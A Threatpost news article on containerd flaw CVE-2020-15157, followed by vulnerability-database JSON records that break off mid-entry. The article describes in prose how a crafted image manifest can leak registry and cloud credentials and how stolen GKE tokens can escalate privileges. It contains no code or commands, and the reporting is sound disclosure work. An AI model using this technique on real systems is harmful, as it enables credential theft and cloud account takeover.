Containerd Bug Exposes Cloud Account Credentials

2020-10-26T17:12:13

Description

A security vulnerability can be exploited to coerce the containerd cloud platform into exposing the host’s registry or users’ cloud-account credentials. Containerd [bills itself](<https://containerd.io/>) as a runtime tool that “manages the complete container lifecycle of its host system, from image transfer and storage to container execution and supervision to low-level storage to network attachments and beyond.” As such, it offers deep visibility into a user’s cloud environment, across multiple vendors. The bug (CVE-2020-15157) is located in the container image-pulling process, according to Gal Singer, researcher at Aqua. Adversaries can exploit this vulnerability by building dedicated container images designed to steal the host’s token, then using the token to take over a cloud project, he explained. [![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>) “A container image is a combination of a manifest file and some individual layer files,” he wrote in a [recent post](<https://blog.aquasec.com/cve-2020-15157-containerd-container-vulnerability>). “The manifest file [in Image V2 Schema 2 format]…can contain a ‘foreign layer’ which is pulled from a remote registry. When using containerd, if the remote registry responds with an HTTP 401 status code, along with specific HTTP headers, the host will send an authentication token that can be stolen.” He added, “the manifest supports an optional field for an external URL from which content may be fetched, and it can be any registry or domain.” The attackers can thus exploit the problem by crafting a malicious image in a remote registry, and then convincing the user to access it through containerd (this can be done through email and other social-engineering avenues), according to the [National Vulnerability Database writeup](<https://nvd.nist.gov/vuln/detail/CVE-2020-15157>). “If an attacker publishes a public image with a manifest that directs one of the layers to be fetched from a web server they control, and they trick a user or system into pulling the image, they can obtain the credentials used for pulling that image,” according to the bug advisory. “In some cases, this may be the user’s username and password for the registry. In other cases, this may be the credentials attached to the cloud virtual instance which can grant access to other cloud resources in the account.” ## **Non-Trivial Exploitation** Researcher Brad Geesaman at Darkbit, who did original research into the vulnerability (which he calls “ContainerDrip”), put together a proof-of-concept (PoC) exploit for a related attack vector. One of the hurdles for exploitation is the fact that containerd clients that pull images may be configured to authenticate to a remote registry in order to fetch private images, which would prevent it from accessing the malicious content. Instead, an attacker would need to place the tainted image into a remote registry that the user already authenticates to. “The question became: ‘How do I get them to send their credentials to me [for remote-registry authentication]?'” he said in [a posting](<https://darkbit.io/blog/cve-2020-15157-containerdrip>) earlier this month. “As it turns out, all you have to do is ask the right question.” The Google Kubernetes Engine (GKE) is a managed environment for running containerized applications, which can be integrated with containerd. When GKE clusters running COS_CONTAINERD and GKE 1.16 or below are given a deployment to run, a Basic Auth header shows up, which when base64 decoded, turns out to be the authentication token for the underlying Google Compute Engine, used to create virtual machines. This token is attached to the GKE cluster/nodepool. “By default in GKE, the [Google Cloud Platform] service account attached to the nodepool is the default compute service account and it is granted Project Editor,” explained Geesaman. That said, also by default, a function called GKE OAuth Scopes “scopes down” the available permissions of that token. Geesaman also found a workaround for that. “If the defaults were modified when creating the cluster to grant the [“any”] scope to the nodepool, this token would have no OAuth scope restrictions and would grant the full set of Project Editor IAM permissions in that GCP project,” he explained. And from there, attackers can escalate privileges to “Project Owner” using a known attack vector [demonstrated at](<https://www.youtube.com/watch?v=Z-JFVJZ-HDA>) DEF CON 2020. He added that the GKE path is one of many possible. containerd [patched](<https://github.com/containerd/containerd/releases/tag/v1.2.14>) the bug, which is listed as medium in severity, in version 1.2.4; containerd 1.3.x is not vulnerable. Cloud security continues to be a challenge for organizations. Researchers earlier in October [disclosed two flaws](<https://threatpost.com/microsoft-azure-flaws-servers-takeover/159965/>) in Microsoft’s Azure web hosting application service, App Services, which if exploited could enable an attacker to take over administrative servers. Over the summer, malware like the Doki backdoor was [found to be infesting](<https://threatpost.com/doki-backdoor-docker-servers-cloud/157871/>) Docker containers. In April, a simple Docker container honeypot was [used in a lab test](<https://threatpost.com/poorly-secured-docker-image-rapid-attack/154874/>) to see just how quickly cybercriminals will move to compromise vulnerable cloud infrastructure. It was quickly attacked by four different criminal campaigns over the span of 24 hours.

{"id": "THREATPOST:39625C47309704502299C3CF93814CFA", "type": "threatpost", "bulletinFamily": "info", "title": "Containerd Bug Exposes Cloud Account Credentials", "description": "A security vulnerability can be exploited to coerce the containerd cloud platform into exposing the host\u2019s registry or users\u2019 cloud-account credentials.\n\nContainerd [bills itself](<https://containerd.io/>) as a runtime tool that \u201cmanages the complete container lifecycle of its host system, from image transfer and storage to container execution and supervision to low-level storage to network attachments and beyond.\u201d As such, it offers deep visibility into a user\u2019s cloud environment, across multiple vendors.\n\nThe bug (CVE-2020-15157) is located in the container image-pulling process, according to Gal Singer, researcher at Aqua. Adversaries can exploit this vulnerability by building dedicated container images designed to steal the host\u2019s token, then using the token to take over a cloud project, he explained.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\n\u201cA container image is a combination of a manifest file and some individual layer files,\u201d he wrote in a [recent post](<https://blog.aquasec.com/cve-2020-15157-containerd-container-vulnerability>). \u201cThe manifest file [in Image V2 Schema 2 format]\u2026can contain a \u2018foreign layer\u2019 which is pulled from a remote registry. When using containerd, if the remote registry responds with an HTTP 401 status code, along with specific HTTP headers, the host will send an authentication token that can be stolen.\u201d\n\nHe added, \u201cthe manifest supports an optional field for an external URL from which content may be fetched, and it can be any registry or domain.\u201d\n\nThe attackers can thus exploit the problem by crafting a malicious image in a remote registry, and then convincing the user to access it through containerd (this can be done through email and other social-engineering avenues), according to the [National Vulnerability Database writeup](<https://nvd.nist.gov/vuln/detail/CVE-2020-15157>).\n\n\u201cIf an attacker publishes a public image with a manifest that directs one of the layers to be fetched from a web server they control, and they trick a user or system into pulling the image, they can obtain the credentials used for pulling that image,\u201d according to the bug advisory. \u201cIn some cases, this may be the user\u2019s username and password for the registry. In other cases, this may be the credentials attached to the cloud virtual instance which can grant access to other cloud resources in the account.\u201d\n\n## **Non-Trivial Exploitation**\n\nResearcher Brad Geesaman at Darkbit, who did original research into the vulnerability (which he calls \u201cContainerDrip\u201d), put together a proof-of-concept (PoC) exploit for a related attack vector.\n\nOne of the hurdles for exploitation is the fact that containerd clients that pull images may be configured to authenticate to a remote registry in order to fetch private images, which would prevent it from accessing the malicious content. Instead, an attacker would need to place the tainted image into a remote registry that the user already authenticates to.\n\n\u201cThe question became: \u2018How do I get them to send their credentials to me [for remote-registry authentication]?'\u201d he said in [a posting](<https://darkbit.io/blog/cve-2020-15157-containerdrip>) earlier this month. \u201cAs it turns out, all you have to do is ask the right question.\u201d\n\nThe Google Kubernetes Engine (GKE) is a managed environment for running containerized applications, which can be integrated with containerd. When GKE clusters running COS_CONTAINERD and GKE 1.16 or below are given a deployment to run, a Basic Auth header shows up, which when base64 decoded, turns out to be the authentication token for the underlying Google Compute Engine, used to create virtual machines. This token is attached to the GKE cluster/nodepool.\n\n\u201cBy default in GKE, the [Google Cloud Platform] service account attached to the nodepool is the default compute service account and it is granted Project Editor,\u201d explained Geesaman.\n\nThat said, also by default, a function called GKE OAuth Scopes \u201cscopes down\u201d the available permissions of that token. Geesaman also found a workaround for that.\n\n\u201cIf the defaults were modified when creating the cluster to grant the [\u201cany\u201d] scope to the nodepool, this token would have no OAuth scope restrictions and would grant the full set of Project Editor IAM permissions in that GCP project,\u201d he explained.\n\nAnd from there, attackers can escalate privileges to \u201cProject Owner\u201d using a known attack vector [demonstrated at](<https://www.youtube.com/watch?v=Z-JFVJZ-HDA>) DEF CON 2020.\n\nHe added that the GKE path is one of many possible.\n\ncontainerd [patched](<https://github.com/containerd/containerd/releases/tag/v1.2.14>) the bug, which is listed as medium in severity, in version 1.2.4; containerd 1.3.x is not vulnerable.\n\nCloud security continues to be a challenge for organizations. Researchers earlier in October [disclosed two flaws](<https://threatpost.com/microsoft-azure-flaws-servers-takeover/159965/>) in Microsoft\u2019s Azure web hosting application service, App Services, which if exploited could enable an attacker to take over administrative servers. Over the summer, malware like the Doki backdoor was [found to be infesting](<https://threatpost.com/doki-backdoor-docker-servers-cloud/157871/>) Docker containers.\n\nIn April, a simple Docker container honeypot was [used in a lab test](<https://threatpost.com/poorly-secured-docker-image-rapid-attack/154874/>) to see just how quickly cybercriminals will move to compromise vulnerable cloud infrastructure. It was quickly attacked by four different criminal campaigns over the span of 24 hours.\n", "published": "2020-10-26T17:12:13", "modified": "2020-10-26T17:12:13", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "href": "https://threatpost.com/containerd-bug-cloud-account-credentials/160546/", "reporter": "Tara Seals", "references": ["https://containerd.io/", "https://threatpost.com/newsletter-sign/", "https://blog.aquasec.com/cve-2020-15157-containerd-container-vulnerability", "https://nvd.nist.gov/vuln/detail/CVE-2020-15157", "https://darkbit.io/blog/cve-2020-15157-containerdrip", "https://www.youtube.com/watch?v=Z-JFVJZ-HDA", "https://github.com/containerd/containerd/releases/tag/v1.2.14", "https://threatpost.com/microsoft-azure-flaws-servers-takeover/159965/", "https://threatpost.com/doki-backdoor-docker-servers-cloud/157871/", "https://threatpost.com/poorly-secured-docker-image-rapid-attack/154874/"], "cvelist": ["CVE-2020-15157", "CVE-2020-5135"], "lastseen": "2020-10-26T18:29:40", "viewCount": 50, "enchantments": {"dependencies": {"references": [{"type": "amazon", "idList": ["ALAS-2021-1555"]}, {"type": "attackerkb", "idList": ["AKB:1C1E9FA5-A4DB-4CE8-8770-2431CE166358"]}, {"type": "avleonov", "idList": ["AVLEONOV:14D436977A1AFE4725A5CA01B44E33E9"]}, {"type": "cisa", "idList": ["CISA:60BECD302CACD014F496544254DCB720"]}, {"type": "cve", "idList": ["CVE-2020-15157", "CVE-2020-5135"]}, {"type": "debian", "idList": ["DEBIAN:DSA-4865-1:E637E"]}, {"type": "debiancve", "idList": ["DEBIANCVE:CVE-2020-15157"]}, {"type": "github", "idList": ["GHSA-742W-89GC-8M9C"]}, {"type": "mageia", "idList": ["MGASA-2020-0406"]}, {"type": "nessus", "idList": ["DEBIAN_DSA-4865.NASL", "EULEROS_SA-2022-1424.NASL", "EULEROS_SA-2022-1445.NASL", "EULEROS_SA-2022-1482.NASL", "EULEROS_SA-2022-1501.NASL", "EULEROS_SA-2022-1886.NASL", "EULEROS_SA-2022-1926.NASL", "OPENSUSE-2022-23018-1.NASL", "ORACLELINUX_ELSA-2020-5900.NASL", "ORACLELINUX_ELSA-2020-5906.NASL", "PHOTONOS_PHSA-2020-2_0-0292_CONTAINERD.NASL", "PHOTONOS_PHSA-2020-3_0-0155_CONTAINERD.NASL", "REDHAT-RHSA-2020-5634.NASL", "SONICWALL_SNWLID-2020-0010.NASL", "UBUNTU_USN-4589-1.NASL", "UBUNTU_USN-4589-2.NASL"]}, {"type": "oraclelinux", "idList": ["ELSA-2020-5900", "ELSA-2020-5906", "ELSA-2020-5966"]}, {"type": "osv", "idList": ["OSV:DSA-4865-1", "OSV:GHSA-742W-89GC-8M9C"]}, {"type": "photon", "idList": ["PHSA-2020-0155", "PHSA-2020-0292", "PHSA-2020-2.0-0292", "PHSA-2020-3.0-0155"]}, {"type": "ptsecurity", "idList": ["PT-2020-29"]}, {"type": "redhat", "idList": ["RHSA-2020:5633", "RHSA-2020:5634", "RHSA-2020:5635"]}, {"type": "redhatcve", "idList": ["RH:CVE-2020-15157"]}, {"type": "securelist", "idList": ["SECURELIST:100DB957ACFED2B9DC6D860183E5B88F"]}, {"type": "suse", "idList": ["OPENSUSE-SU-2022:23018-1"]}, {"type": "thn", "idList": ["THN:D6FED8C7635FDB50C271368C9373B439"]}, {"type": "threatpost", "idList": ["THREATPOST:033645C929899D29D91092278D188D8E", "THREATPOST:0A238D67F7286BA41103801846210F7A", "THREATPOST:0DD2AEA1738F9B6612B1C845F3BC949F", "THREATPOST:0EAD358006302B8EB3637C22334E13DC", "THREATPOST:0ED2C20BB1821A77810AB2D29BB6A6A5", "THREATPOST:130EDA07603C228BE562B445904A297A", "THREATPOST:158524EA6F79769C547CC6A407EF6E78", "THREATPOST:1973BA4B294E79D107940CF5DA67CB9A", "THREATPOST:199785A97C530FECDF2B53B871FBE1C2", "THREATPOST:32F51D65448FD7613BA513B6F8239EE9", "THREATPOST:333795A46E195AC657D3C50CFAFE7B55", "THREATPOST:3A306ADED5369A8AA74DD95614F98FBD", "THREATPOST:3F81254E133ABD9AE724F95349C0040A", "THREATPOST:49EFC5B6CFCA04F105A001AAFED52548", "THREATPOST:4A02969D23A7147DEF39EFDE11D3094E", "THREATPOST:51A2EB5F46817EF77631C9F4C6429714", "THREATPOST:51EF909F29E9FE8B04A35A1E24E52C08", "THREATPOST:5293ED4A454EC6487F8AA9DB9A0FF180", "THREATPOST:558A7B1DE564A8E368D33E86E291AB77", "THREATPOST:575F655420B93C2305DEE73F769E7E0B", "THREATPOST:58C865E4F2AA34CD62938A2E6BBFDE44", "THREATPOST:597800CEAF4F4832B357C491661792B5", "THREATPOST:5C0EFAEECFC2925A0D89538F79EE561A", "THREATPOST:5CB5F29FA05D52DEEC4D54AA46EB9235", "THREATPOST:60965118E4D29480FABA6D1722EFA4AA", "THREATPOST:639CADC540E81321048EB418C2EC7586", "THREATPOST:659B01C0432DD93535B729D005CCA9E8", "THREATPOST:6A1329627DFBA3501BA187A580E968D5", "THREATPOST:6F4D076CD2B99D42353A5547FDBB288C", "THREATPOST:701953AF963ADACDD2280B3D18B58493", "THREATPOST:70ADDCF33645E0424EA606C8912FDDCF", "THREATPOST:718E4F36F0096BBE66CB2FAE28048810", "THREATPOST:7229E2AD26BA4F6395ACBFE184C783EF", "THREATPOST:73F48A70A1B3DDD9B987BA26009E6630", "THREATPOST:779B904F971138531725D1E57FDFF9DD", "THREATPOST:7BA8370AF04822DCF1A03C685AF16604", "THREATPOST:7FC78356FBFC440CD45BB996E2A8A5C8", "THREATPOST:815A85AC4471792F2F220EAD5DD49460", "THREATPOST:85A0FA8DF1A997221A2F71AF5B8CC3E8", "THREATPOST:88ED6BF6458FC657DACB44E3795710C1", "THREATPOST:8A8E859062970130E3F91D160F03325C", "THREATPOST:8DA5404E0E8179BD2E87B8F221395859", "THREATPOST:8E52FA6620F4FFE6ED3A412867239F2B", "THREATPOST:8F6E27B46891F0167D7799A73F1A9380", "THREATPOST:9234A5FE45618A7D601CF00D4A75748E", "THREATPOST:939D3A37125502BC9EE7A2E56EB485A7", "THREATPOST:9530BF61FA72CF3E2B226C171BB8C5E7", "THREATPOST:9688E067E5F287042D4EBC46107C66AF", "THREATPOST:96E2DCEDA40DFA7D30B6AB9F86D38FEB", "THREATPOST:97C27999457834C42771A5FB9EEAD852", "THREATPOST:99610F4016AECF953EEE643779490F30", "THREATPOST:9AADE8E4BD604BE3415C6DD56ECA3640", "THREATPOST:A1A1E1AC8DB384C8FA2988F9A9121141", "THREATPOST:A298611BE0D737083D0CFFE084BEC006", "THREATPOST:A43BC2773FE4FB67EB7B8F584F137132", "THREATPOST:A5D4FD6C2281AE395B821A8D0EB5736D", "THREATPOST:A7995232CE91305C94B84BB400B1EA34", "THREATPOST:A94AAFAF28062A447CCD0F4C47FFD78C", "THREATPOST:AB0F3CD65F9FE00689C1695CB89ADC3F", "THREATPOST:AB2F6BF7F6EC16383E737E091BA9385B", "THREATPOST:ABBA6B89522F29EE1F01F3D010F46FC0", "THREATPOST:AD7CBD7ADE9D9F9DE3BBDB1AE8A6F81D", "THREATPOST:AF18435BD7544B43152D5D3E8B97CE30", "THREATPOST:B18EFE773F83789508C61F27321B9FAA", "THREATPOST:B313D27399CB1B0B0727DC338B57B95E", "THREATPOST:B53DDA5AD9C6530F631391E064A0D4FA", "THREATPOST:B5964CC2880F7E4AFF1E9C5DEEE5B287", "THREATPOST:B664DFB1B57D66837AE025D5CD687F70", "THREATPOST:B6946D18AC7359473DB43051174C70B0", "THREATPOST:B9A8F6E46618F5253194C38A1808CF9C", "THREATPOST:B9E2C282835BF652ABC49052C859DBCC", "THREATPOST:BED35CFCFED307909DB60602551982A6", "THREATPOST:C22F323F8CA203A50435F11517317613", "THREATPOST:C249ACD6B53EBF0A2F149F42F6D9873D", "THREATPOST:C4650E22534F775312B3885DAA306DDA", "THREATPOST:C4D1E87CE4261EC62077E4F157643132", "THREATPOST:C51D2F2366676BB018956D93916AC33E", "THREATPOST:C7B22E2E8B3AB6D2FD4DA4F6C33951CF", "THREATPOST:C9AB0B1EBE1A344DC385414BD784DFC7", "THREATPOST:CA33E204EC4B2286ECCDD9C58B908175", "THREATPOST:CAAA6F4ECA9D8F91250F10C27A869E23", "THREATPOST:CCBBEA3067FE857C1A87F48128362DB2", "THREATPOST:CEFF4DB144B2E463CD3FB46A8A93EEF8", "THREATPOST:CF4E8B0929D149A75E7512A74E569009", "THREATPOST:D0762E9D61E59AD261E8F24340AE261C", "THREATPOST:D2BB5A9DDB021A7E256A4E0D8A6BDA55", "THREATPOST:D3F7F2434B9347169B642A60BEC9FF02", "THREATPOST:D4F89B42660582EFECA648A891470AD4", "THREATPOST:D819574E836325FD37CCA2E8B9E979A1", "THREATPOST:DB4FE6FEC73D65579261FF6697220766", "THREATPOST:DF1387D21FA2EBF23BBB67081E7B75EC", "THREATPOST:DF35DF449CB3A8F93C405B227A00E117", "THREATPOST:DFC75A06F449D25EF03338C5D80C705C", "THREATPOST:E54A6B6E04C21B79F588B156DC5704F8", "THREATPOST:E95F180BE3CA693890795666169A5F04", "THREATPOST:E95FF75420C541DF65D4D795CF73B5CE", "THREATPOST:EBE40A69B865E25E52FF87060EDD790F", "THREATPOST:EE9C0062A3E6400BAF159BCA26EABB34", "THREATPOST:EFC1ED7D43C4F52F844E131EAE00990F", "THREATPOST:EFC814A6564326F98824AC875F125E0D", "THREATPOST:F18124E38523CE6CF73ACDCF7DBF78BC", "THREATPOST:F1B41E6C07BCAD79CFBB003B91DF332F", "THREATPOST:F2B495A97075920EEF1C7328AE80CC7B", "THREATPOST:F334DD851AFA845C7A29CB75F55E8128", "THREATPOST:F54AECDBDA250A6122DF9A079CE7AEF3", "THREATPOST:FB79AC722601BBB92388FFC66EE0EAF4"]}, {"type": "ubuntu", "idList": ["USN-4589-1", "USN-4589-2"]}, {"type": "ubuntucve", "idList": ["UB:CVE-2020-15157"]}, {"type": "veracode", "idList": ["VERACODE:27611"]}]}, "score": {"value": -0.2, "vector": "NONE"}, "backreferences": {"references": [{"type": "amazon", "idList": ["ALAS-2021-1555"]}, {"type": "attackerkb", "idList": ["AKB:1C1E9FA5-A4DB-4CE8-8770-2431CE166358"]}, {"type": "avleonov", "idList": ["AVLEONOV:14D436977A1AFE4725A5CA01B44E33E9"]}, {"type": "cisa", "idList": ["CISA:60BECD302CACD014F496544254DCB720"]}, {"type": "cve", "idList": ["CVE-2020-15157", "CVE-2020-5135"]}, {"type": "debian", "idList": ["DEBIAN:DSA-4865-1:E637E"]}, {"type": "debiancve", "idList": ["DEBIANCVE:CVE-2020-15157"]}, {"type": "github", "idList": ["GHSA-742W-89GC-8M9C"]}, {"type": "nessus", "idList": ["DEBIAN_DSA-4865.NASL", "REDHAT-RHSA-2020-5634.NASL", "SONICWALL_SNWLID-2020-0010.NASL", "UBUNTU_USN-4589-1.NASL"]}, {"type": "oraclelinux", "idList": ["ELSA-2020-5900"]}, {"type": "photon", "idList": ["PHSA-2020-2.0-0292", "PHSA-2020-3.0-0155"]}, {"type": "ptsecurity", "idList": ["PT-2020-29"]}, {"type": "redhat", "idList": ["RHSA-2020:5635"]}, {"type": "redhatcve", "idList": ["RH:CVE-2020-15157"]}, {"type": "securelist", "idList": ["SECURELIST:100DB957ACFED2B9DC6D860183E5B88F"]}, {"type": "suse", "idList": ["OPENSUSE-SU-2022:23018-1"]}, {"type": "thn", "idList": ["THN:D6FED8C7635FDB50C271368C9373B439"]}, {"type": "threatpost", "idList": ["THREATPOST:050A36E6453D4472A2734DA342E95366", "THREATPOST:701953AF963ADACDD2280B3D18B58493", "THREATPOST:70ADDCF33645E0424EA606C8912FDDCF", "THREATPOST:779B904F971138531725D1E57FDFF9DD", "THREATPOST:CF4E8B0929D149A75E7512A74E569009", "THREATPOST:DFC75A06F449D25EF03338C5D80C705C"]}, {"type": "ubuntu", "idList": ["USN-4589-1", "USN-4589-2"]}, {"type": "ubuntucve", "idList": ["UB:CVE-2020-15157"]}]}, "exploitation": null, "vulnersScore": -0.2}, "immutableFields": [], "cvss2": {}, "cvss3": {}, "_state": {"dependencies": 0, "score": 1659955260}, "_internal": {"score_hash": "4bc4f84df81890a384c25e028232cfc9"}}

{"veracode": [{"lastseen": "2022-07-26T16:56:44", "description": "containerd is vulnerable to information disclosure. The containerd resolver sends the authentication credentials when it follows a URL to attempt to download a specific image layer. An attacker is able to exploit this behavior to obtain the authentication credentials by publishing a public image with a manifest that redirects the layers to a third-party address.\n", "cvss3": {"exploitabilityScore": 1.6, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 6.1, "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:N/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 4.0}, "published": "2020-10-18T01:59:36", "type": "veracode", "title": "Information Disclosure", "bulletinFamily": "software", "cvss2": {"severity": "LOW", "exploitabilityScore": 4.9, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "HIGH", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 2.6, "vectorString": "AV:N/AC:H/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-15157"], "modified": "2021-11-18T18:11:40", "id": "VERACODE:27611", "href": "https://sca.analysiscenter.veracode.com/vulnerability-database/security/1/1/sid-27611/summary", "cvss": {"score": 2.6, "vector": "AV:N/AC:H/Au:N/C:P/I:N/A:N"}}], "cve": [{"lastseen": "2022-03-23T13:33:57", "description": "In containerd (an industry-standard container runtime) before version 1.2.14 there is a credential leaking vulnerability. If a container image manifest in the OCI Image format or Docker Image V2 Schema 2 format includes a URL for the location of a specific image layer (otherwise known as a \u201cforeign layer\u201d), the default containerd resolver will follow that URL to attempt to download it. In v1.2.x but not 1.3.0 or later, the default containerd resolver will provide its authentication credentials if the server where the URL is located presents an HTTP 401 status code along with registry-specific HTTP headers. If an attacker publishes a public image with a manifest that directs one of the layers to be fetched from a web server they control and they trick a user or system into pulling the image, they can obtain the credentials used for pulling that image. In some cases, this may be the user's username and password for the registry. In other cases, this may be the credentials attached to the cloud virtual instance which can grant access to other cloud resources in the account. The default containerd resolver is used by the cri-containerd plugin (which can be used by Kubernetes), the ctr development tool, and other client programs that have explicitly linked against it. This vulnerability has been fixed in containerd 1.2.14. containerd 1.3 and later are not affected. If you are using containerd 1.3 or later, you are not affected. If you are using cri-containerd in the 1.2 series or prior, you should ensure you only pull images from trusted sources. Other container runtimes built on top of containerd but not using the default resolver (such as Docker) are not affected.", "cvss3": {"exploitabilityScore": 1.6, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 6.1, "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:N/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 4.0}, "published": "2020-10-16T17:15:00", "type": "cve", "title": "CVE-2020-15157", "cwe": ["CWE-522"], "bulletinFamily": "NVD", "cvss2": {"severity": "LOW", "exploitabilityScore": 4.9, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "HIGH", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 2.6, "vectorString": "AV:N/AC:H/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-15157"], "modified": "2021-11-18T16:16:00", "cpe": ["cpe:/o:canonical:ubuntu_linux:20.04", "cpe:/o:canonical:ubuntu_linux:18.04", "cpe:/o:debian:debian_linux:10.0", "cpe:/o:canonical:ubuntu_linux:16.04", "cpe:/a:linuxfoundation:containerd:1.3.0"], "id": "CVE-2020-15157", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2020-15157", "cvss": {"score": 2.6, "vector": "AV:N/AC:H/Au:N/C:P/I:N/A:N"}, "cpe23": ["cpe:2.3:o:canonical:ubuntu_linux:20.04:*:*:*:lts:*:*:*", "cpe:2.3:a:linuxfoundation:containerd:1.3.0:rc2:*:*:*:*:*:*", "cpe:2.3:o:debian:debian_linux:10.0:*:*:*:*:*:*:*", "cpe:2.3:a:linuxfoundation:containerd:1.3.0:rc1:*:*:*:*:*:*", "cpe:2.3:a:linuxfoundation:containerd:1.3.0:beta2:*:*:*:*:*:*", "cpe:2.3:a:linuxfoundation:containerd:1.3.0:beta0:*:*:*:*:*:*", "cpe:2.3:o:canonical:ubuntu_linux:18.04:*:*:*:lts:*:*:*", "cpe:2.3:a:linuxfoundation:containerd:1.3.0:rc3:*:*:*:*:*:*", "cpe:2.3:a:linuxfoundation:containerd:1.3.0:rc0:*:*:*:*:*:*", "cpe:2.3:a:linuxfoundation:containerd:1.3.0:beta1:*:*:*:*:*:*", "cpe:2.3:o:canonical:ubuntu_linux:16.04:*:*:*:lts:*:*:*", "cpe:2.3:a:linuxfoundation:containerd:1.3.0:-:*:*:*:*:*:*"]}, {"lastseen": "2022-03-23T18:36:31", "description": "A buffer overflow vulnerability in SonicOS allows a remote attacker to cause Denial of Service (DoS) and potentially execute arbitrary code by sending a malicious request to the firewall. This vulnerability affected SonicOS Gen 6 version 6.5.4.7, 6.5.1.12, 6.0.5.3, SonicOSv 6.5.4.v and Gen 7 version 7.0.0.0.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-10-12T11:15:00", "type": "cve", "title": "CVE-2020-5135", "cwe": ["CWE-120"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-5135"], "modified": "2020-10-23T00:55:00", "cpe": ["cpe:/o:sonicwall:sonicosv:6.5.4.4", "cpe:/o:sonicwall:sonicos:6.0.5.3", "cpe:/o:sonicwall:sonicos:6.5.1.11", "cpe:/o:sonicwall:sonicos:6.5.4.7", "cpe:/o:sonicwall:sonicos:7.0.0.0"], "id": "CVE-2020-5135", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2020-5135", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "cpe23": ["cpe:2.3:o:sonicwall:sonicos:7.0.0.0:*:*:*:*:*:*:*", "cpe:2.3:o:sonicwall:sonicos:6.5.1.11:*:*:*:*:*:*:*", "cpe:2.3:o:sonicwall:sonicos:6.5.4.7:*:*:*:*:*:*:*", "cpe:2.3:o:sonicwall:sonicosv:6.5.4.4:*:*:*:*:*:*:*", "cpe:2.3:o:sonicwall:sonicos:6.0.5.3:*:*:*:*:*:*:*"]}], "debiancve": [{"lastseen": "2022-07-09T17:30:13", "description": "In containerd (an industry-standard container runtime) before version 1.2.14 there is a credential leaking vulnerability. If a container image manifest in the OCI Image format or Docker Image V2 Schema 2 format includes a URL for the location of a specific image layer (otherwise known as a \u201cforeign layer\u201d), the default containerd resolver will follow that URL to attempt to download it. In v1.2.x but not 1.3.0 or later, the default containerd resolver will provide its authentication credentials if the server where the URL is located presents an HTTP 401 status code along with registry-specific HTTP headers. If an attacker publishes a public image with a manifest that directs one of the layers to be fetched from a web server they control and they trick a user or system into pulling the image, they can obtain the credentials used for pulling that image. In some cases, this may be the user's username and password for the registry. In other cases, this may be the credentials attached to the cloud virtual instance which can grant access to other cloud resources in the account. The default containerd resolver is used by the cri-containerd plugin (which can be used by Kubernetes), the ctr development tool, and other client programs that have explicitly linked against it. This vulnerability has been fixed in containerd 1.2.14. containerd 1.3 and later are not affected. If you are using containerd 1.3 or later, you are not affected. If you are using cri-containerd in the 1.2 series or prior, you should ensure you only pull images from trusted sources. Other container runtimes built on top of containerd but not using the default resolver (such as Docker) are not affected.", "cvss3": {"exploitabilityScore": 1.6, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 6.1, "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:N/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 4.0}, "published": 